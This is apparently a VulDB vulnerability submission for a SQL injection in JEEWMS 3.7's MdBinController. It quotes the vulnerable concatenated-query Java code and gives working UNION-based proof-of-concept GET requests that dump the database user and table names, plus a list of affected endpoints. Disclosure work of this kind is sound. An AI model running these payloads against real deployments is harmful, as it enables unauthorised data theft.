| عنوان | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| الوصف | JEEWMS v3.7 contains a SQL injection vulnerability in MdBinController.java (lines 218-238 getbinall, 313-323 getbinallagv). Four request parameters - binstore, binid, des, cengshu - are concatenated directly into a native SQL query over the wv_bin_all view without parameterization:
String tsql = "select * from wv_bin_all ws where 1 = 1 ";
if (!StringUtil.isEmpty(req.getParameter("binid"))) {
tsql = tsql + " and ws.binid like '%" + req.getParameter("binid") + "%' ";
}
List<Map<String,Object>> resultt = systemService.findForJdbc(tsql);
Because findForJdbc returns the full result list, UNION-based injection directly echoes data in the JSON response. Verified end to end against a live deployment (8 columns in the view; column 2 "binid" reflects data):
PoC:
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,user(),3,4,5,6,7,8 -- -> response contains "binid":"root@localhost" (current DB user)
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -> all table names echoed in "binid" field
Affected endpoints:
GET /mdBinController.do?getbinall&binid=[INJECT]&binstore=[INJECT]&des=[INJECT]&cengshu=[INJECT]
GET /mdBinController.do?getbinallagv&binstore=[INJECT]&cengshu=[INJECT]
Vulnerable code file: src/main/java/com/zzjee/md/controller/MdBinController.java:218-238 |
|---|
| المصدر | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| المستخدم | Lib0gus (UID 101005) |
|---|
| ارسال | 04/09/2026 11:13 AM (2 أشهر منذ) |
|---|
| الاعتدال | 11/10/2026 09:51 AM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 416555 [erzhongxmu JEEWMS حتى 2026.09.27-W39 MdBinController.java getbinall/getbinallagv binstore/binid/des/cengshu حقن SQL] |
|---|
| النقاط | 20 |
|---|